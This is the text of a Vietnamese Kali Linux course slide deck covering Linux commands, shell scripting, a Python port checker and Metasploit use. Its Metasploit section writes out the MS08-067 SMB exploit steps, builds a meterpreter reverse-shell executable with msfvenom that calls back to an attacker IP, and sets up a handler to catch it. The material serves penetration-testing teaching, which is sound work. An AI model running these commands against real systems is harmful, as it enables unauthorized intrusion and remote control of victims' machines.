You are on page 1of 50

om

.c
SỬ DỤNG KALI LINUX

ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Nội dung

om
 Các lệnh cơ bản trên Linux

.c
 Lập trình shell script

ng
co
 Sử dụng Metasploit

an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
om
1. Các lệnh trên Linux

.c
ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Các lệnh cơ bản

om
Tên lệnh Chức năng

.c
man Trợ giúp

ng
ls Liệt kệ nội dung thư mục

co
cd Chuyển thư mục làm việc hiện hành

an
th
pwd Xem đường dẫn thư mục hiện hành

ng
mkdir Tạo thư mực

o
rm du
Xóa file hoặc thư mục
u
cp Copy file/thư mục
cu

mv Di chuyền file/thư mục


touch Tạo file
CuuDuongThanCong.com https://fb.com/tailieudientucntt
User

om
Tạo user

.c
useradd

ng
Chmod Gán quyền cho file/thư mục

co
vi Trình soạn thảo VI

an
grep Lệnh tìm kiếm

th
Lọc dữ liệu

ng
awk

o
ifconfig Xem ip address
du
route Xem bảng định tuyến
u
cu

echo
netstat network connections, listening ports
crontab Lập lịch
CuuDuongThanCong.com https://fb.com/tailieudientucntt
om
2. Lập trình trên Linux

.c
ng
Shell –Script

co
Python

an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
a. Giới thiệu

om
Shell Script Là 1 chương trình bao gồm các chuỗi lệnh nhằm thực hiện một

.c
ng
nhiệm vụ, chức năng nào đó.

co
Các loại shell thông dụng trên Unix/Linux:

an
th
- sh (Shell Bourne):

o ng
- bash (Bourne Again Shell): du
u
cu

- Csh, tcsh và zsh:

CuuDuongThanCong.com https://fb.com/tailieudientucntt
a) Giới thiệu (tt)

om
Cách viết shell script:

.c
• Dùng lệnh vi/gedit để viết shell

ng
co
 Nên dùng gedit để viết shell vì nó thể hiện màu sắc dể kiểm soát lỗi

an
• Thực thi script:

th
ng
• Gán quyền thực thi cho script

o
• #chmod a+x ten_script du
u
• Thực thi
cu

• #./ten script

CuuDuongThanCong.com https://fb.com/tailieudientucntt
b) Cấu trúc một chương trình shell script

om
.c
ng
#!/bin/bash Loại shell mà script sẽ chạy

co
Lệnh

an
command ….

th
ng
command …. Thoát và không có error

o
exit 0 du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
c) Biến trong shell

om
Trong linux shell thì có 2 kiểu biến:

.c
• Biến hệ thống (system variable): được tạo bởi Linux. Kiểu biến này thường được viết bằng ký tự in hoa.

ng
• Biến do người dùng định nghĩa.

co
Cú pháp: tên biến=giá trị

an
Một số quy định về biến trong shell :

th
(1) Tên bắt đầu bằng ký tự hoặc dấu gạch chân (_).

ng
(2) Không được có khoảng trắng trước và sau dấu bằng khi gán giá trị cho biến

o
(3) Biến có phân biệt chữ hoa chữ thường du
(4) Bạn có thể khai báo một biến có giá trị NULL như sau :
u
cu

var01= hoặc var01=””


(5) Không dùng ?, * để đặt tên biến.

CuuDuongThanCong.com https://fb.com/tailieudientucntt
c) Biến trong shell (tt)

om
 Để truy xuất giá trị biến, dùng cú pháp sau: $tên_biến

.c
ví dụ:

ng
co
n=10

an
th
echo $n

o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script

om
Lệnh echo: Xuất nội dung ra màn hình

.c
Ví dụ: vi bai1.sh

ng
có nội dung như sau:

co
#!/bin/sh

an
th
# chuong trinh xuat ra man hinh mot chuoi

ng
echo “chao cac ban”

o
Chạy chương trình:
du
u
#chmod a+x bai1.sh
cu

#./bai1.sh

CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)

om
 Lệnh read: đọc một số hay chuỗi từ bàn phím

.c
 Cấu trúc: read tham_số

ng
co
Ví dụ:

an
th
read a

o ng
(đọc một số hay chuỗi từ bàn phím và gán cho a)
u
du
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)

om
Tính toán trong Shell

.c
• Sử dụng expr

ng
cú pháp expr op1 phép_toán op2

co
Ví dụ

an
expr 1 + 3

th
expr 2 – 1

o ng
expr 10 / 2
expr 20 % 3
du
u
cu

expr 10 \* 3

CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)

om
Tính toán trong Shell (tt)

.c
 Sử dụng let

ng
Ví dụ :

co
let “z=$z+3”

an
let “z += 3”

th
let “z=$m*$n”

ng
 Sử dụng $((...))

o
ví dụ : du
u
z=$((z+3))
cu

z=$(($m*$n))

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Chú ý khi dùng dấu nháy

om
 “ : (Nháy kép) tất cả các ký tự đều không có ý nghĩa tính toán trừ / và $.

.c
ng
 ‘ : (Nháy đơn) những gì nằm trong dấu nháy đơn có ý nghĩa không đổi.

co
 ` : (Nháy ngược) thực thi lệnh.

an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)

om
Điều kiện:

.c
 Nhận 1 trong 2 giá trị đúng hoặc sai

ng
co
 Sử dụng trong các câu lệnh điều khiển (if, while, ..)

an
th
 Lệnh test hoặc []

o ng
Cấu trúc: test dieu_kien hoặc [dieu_kien]
u
du
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)

om
Điều kiện (tt):

.c
ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)

om
Điều kiện (tt):

.c
ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)

om
Điều kiện (tt):

.c
 Các toán tử so sánh số học

ng
-eq : bằng

co
-ge : lớn hơn hoặc bằng

an
-gt : lớn hơn

th
-le : nhỏ hơn hoặc bằng

ng
-lt : nhỏ hơn

o
-ne : khác du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)

om
Lệnh if:

.c
 Cấu trúc:

ng
co
if condition

an
then

th
statements

o ng
else
statements
du
u
cu

fi

CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)

om
Lệnh for:

.c
 Cấu trúc:

ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)

om
Lệnh while

.c
 Cú pháp:

ng
co
an
th
o ng
du
u
cu

 Nếu điều kiện đúng thì sẽ thực hiện vòng lặp

CuuDuongThanCong.com https://fb.com/tailieudientucntt
d) Các lệnh trong shell script (tt)

om
Lệnh until

.c
 Cú pháp:

ng
co
an
th
o ng
du
u
cu

Nếu điều kiện đúng thì sẽ thoát khỏi vòng lặp

CuuDuongThanCong.com https://fb.com/tailieudientucntt
e) Tham số lệnh

om
.c
 Tham số lệnh: Là tham số được truyền khi thực hiện script.

ng
Ví dụ: ./bai2.sh phepcong 12 24

co
an
$1 $2 $3

th
o ng
du
 $1, $2, $3 … : vị trí và nội dung của các tham số trên dòng lệnh theo thứ tự từ trái
u
cu

sang phải.

 $@, $*: danh sách tất cả các tham số trên dòng lệnh.

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Thực hành

om
 Bài 1: Viết chương trình ping đến một dãy ip với số lượng gói ping 1gói/1

.c
ng
host. Dãy ip được nhập từ bàn phím với 3 octect đầu.

co
Ví dụ:

an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Lập trình Python

om
#!/usr/bin/python

.c
import socket

ng
co
ip = raw_input("Enter the ip: ")

an
port = input("Enter the port: ")

th
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

o ng
if s.connect_ex((ip, port)): u
du
print "Port", port, "is closed"
cu

else:
print "Port", port, "is open"
CuuDuongThanCong.com https://fb.com/tailieudientucntt
Lập trình Python

om
.c
ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
om
3. Sử dụng Metasploit

.c
ng
- msfconsole

co
- msfcli

an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Metasploit

om
 Metasploit Là framework thuộc sở hữu của công ty bảo mật Rapid7

.c
 Metasploit được xây dựng từ: Perl, sau đó được viết lại bằng Ruby

ng
co
 Chứa các phần mềm phục vụ cho việc kiểm thử xâm nhập hệ thống

an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Sử dụng Metasploit

om
 Khởi động PostgreSQL database: dung để lưu trữ các công việc thực hiện

.c
ng
root@kali:~# service postgresql start

co
 Để sử dung metasploit ta có thể dùng các giao diện sau: msfconsole,

an
th
Msfcli,

o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
a. msfconsole

om
 root@kali:~# msfconsole

.c
ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Sử dụng Metasploit

om
.c
ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Sử dụng Metasploit

om
 Lệnh help để xem trợ giúp của một lệnh

.c
Ví dụ:

ng
co
msf> help route

an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Finding metasploit modules

om
 Microsoft Security Bulletin MS08-067

.c
ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
MS08_067

om
 Xem thông tin của module

.c
ng
msf> info exploit /windows/smb/ms08_067_netapi

co
 Sử dụng module ms08_067

an
th
msf> use exploit /windows/smb/ms08_067_netapi

o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
MS08_067

om
 Setting module options (show options)

.c
ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
MS08_067

om
set <option to set> <value to set it to>

.c
ng
 RHOST: refers to the remote host we want to exploit

co
set RHOST 192.168.20.10.

an
th
 RPORT: refers to the remote port to attack (default 445)

o ng
 SMBPIPE: SMB pipes allow us to talk to Windows interprocess
u
du
communication over a network (default: BROWSER)
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
MS08_067

om
 Exploit Target: Choose Automatic Targeting to tell Metasploit to

.c
fingerprint the SMB service and choose the appropriate target based on the

ng
co
results

an
th
msf>show targets

o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Payloads (or shellcode)

om
 A payload: đoạn code sử dụng trong exploit

.c
 Khi một payload thích hợp được chọn, metasploit sẽ sử dụng một code để

ng
co
khai thác điểm yếu của hệ thống sau đó sẽ dụng payload này để chạy sau

an
th
khi xâm nhập thành công.

o ng
 Xem các payload
du
u
show payoads
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
om
.c
ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Các loại shell

om
 Bind Shells: máy mục tiêu (target machine) sẽ mở một command shell và

.c
lắng nghe trên 1 port. Máy của Attacker sẽ kêt nối với máy mục tiêu thông

ng
co
qua port đó.

an
th
 Reverse Shells: Máy mục tiêu sẽ chủ động kết nối đến máy Attacker.

ng
Máy Attacker sẽ mở một local port và đợi kết nối từ máy mục tiêu

o
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
setting a Payload manually

om
msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp

.c
ng
msf exploit(ms08_067_netapi) > show options

co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
om
.c
ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
om
.c
ng
co
an
th
o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
b. msfvemon

om
Msfvenom: bao gồm Msfpayload và Msfencode.

.c
Được sử dụng để tạo ra các standalone payload

ng
co
#msfvenom -l payloads

an
th
Sử dụng options:

ng
–p để chọn 1 payload

o
du
--payload-options: xem các options của payload
u
cu

#msfvenom -p windows/meterpreter/reverse_tcp --payload-options

CuuDuongThanCong.com https://fb.com/tailieudientucntt
msfvemon

om
 Xem định dạng có thể xuất ra của payload:

.c
ng
#msfvenom --help-formats

co
Tạo payload thực hiện kết nối đến Server Attacker có ip 192.168.20.9 với

an
th
port 12345 với định dạng .exe

o ng
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9
du
u
LPORT=12345 -f exe > chapter4example.exe
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Using the Multi/Handler Module

om
 Thiết lập handlers để bắt các kết nối từ máy mục tiêu Windows khi thực

.c
thi payload đọc hại của Attacker (chapter4example.exe)

ng
co
msf > use multi/handler

an
th
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

o ng
msf exploit(handler) > show options
du
u
msf exploit(handler) > set LHOST 192.168.20.9
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Using the Multi/Handler Module

om
LHOST => 192.168.20.9

.c
ng
msf exploit(handler) > set LPORT 12345

co
LPORT => 12345

an
th
msf exploit(handler) > exploit

o ng
du
u
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt
Auxiliary module

om
 auxiliary modules được sử dụng để scanning, fuzzing, sniffing, …

.c
ng
msf > use scanner/smb/pipe_auditor

co
msf auxiliary(pipe_auditor) > show options

an
th
msf auxiliary(pipe_auditor) > set RHOSTS 192.168.20.10

o ng
RHOSTS => 192.168.20.10 u
du
cu

CuuDuongThanCong.com https://fb.com/tailieudientucntt

You might also like